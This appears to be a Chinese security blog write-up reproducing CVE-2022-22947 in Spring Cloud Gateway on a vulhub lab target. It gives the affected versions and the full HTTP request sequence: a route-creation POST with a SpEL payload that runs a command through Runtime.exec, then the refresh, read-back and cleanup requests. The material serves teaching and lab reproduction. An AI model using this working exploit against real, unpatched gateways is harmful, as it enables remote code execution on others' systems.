SpringCloudGateway漏洞复现(CVE-2022-22947)

admin 2022年4月22日22:43:15评论640 views字数 2454阅读8分10秒阅读模式

SpringCloudGateway漏洞复现(CVE-2022-22947)


一、漏洞描述:

Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。据公告描述,当启用和暴露 GatewayActuator 端点时,使用 Spring Cloud Gateway的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。

二、影响版本:

Spring Cloud Gateway 3.1.x < 3.1.1

Spring Cloud Gateway 3.0.x < 3.0.7

旧的、不受支持的版本也会受到影响

Spring Cloud Gateway 其他已不再更新的版本****

三、漏洞复现

1. 环境搭建 kali搭建vulhub靶场

搭建教程可参考https://www.cnblogs.com/lxfweb/p/12952490.html

2. 进入靶场环境

SpringCloudGateway漏洞复现(CVE-2022-22947)

3. 访问靶场地址 8080端口

靶机地址端口和bp代理的端口冲突 我们修改一下bp代理即可

SpringCloudGateway漏洞复现(CVE-2022-22947)

4. 构建恶意请求包

POST /actuator/gateway/routes/hacktest HTTP/1.1Host: 自己的ip:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 314{ "whoami": "hacktest", "filters": [{"name": "AddResponseHeader","args": {  "name": "Result",  "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"}  }],  "uri": "http://example.com"}

SpringCloudGateway漏洞复现(CVE-2022-22947)

5. 应用刚才的数据包发送,会触发表达式执行

POST /actuator/gateway/refresh HTTP/1.1Host: 192.168.111.129:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 2

SpringCloudGateway漏洞复现(CVE-2022-22947)

6. 发送如下数据包可以发现,成功执行

GET /actuator/gateway/routes/hacktest HTTP/1.1Host: 192.168.111.129:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 2

7. 最后删除路由的数据包信息,删除添加的路由

DELETE /actuator/gateway/routes/hacktest HTTP/1.1Host: 192.168.32.129:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: close

SpringCloudGateway漏洞复现(CVE-2022-22947)

8. 再次刷新查看一下路由

POST /actuator/gateway/refresh HTTP/1.1Host: 192.168.32.129:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 6

SpringCloudGateway漏洞复现(CVE-2022-22947)

成功!


关注路劲科技,关注网络安全!


SpringCloudGateway漏洞复现(CVE-2022-22947)
pluck靶机介绍
VulnHub-FristiLeaks: 1.3-Walkthrough
VulnHub-PwnLab-Walkthrough
记一次Tomcat8-弱口令与后台上传getshell的漏洞复现

SpringCloudGateway漏洞复现(CVE-2022-22947)


原文始发于微信公众号(北京路劲科技有限公司):SpringCloudGateway漏洞复现(CVE-2022-22947)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月22日22:43:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SpringCloudGateway漏洞复现(CVE-2022-22947)http://cn-sec.com/archives/935157.html

发表评论

匿名网友 填写信息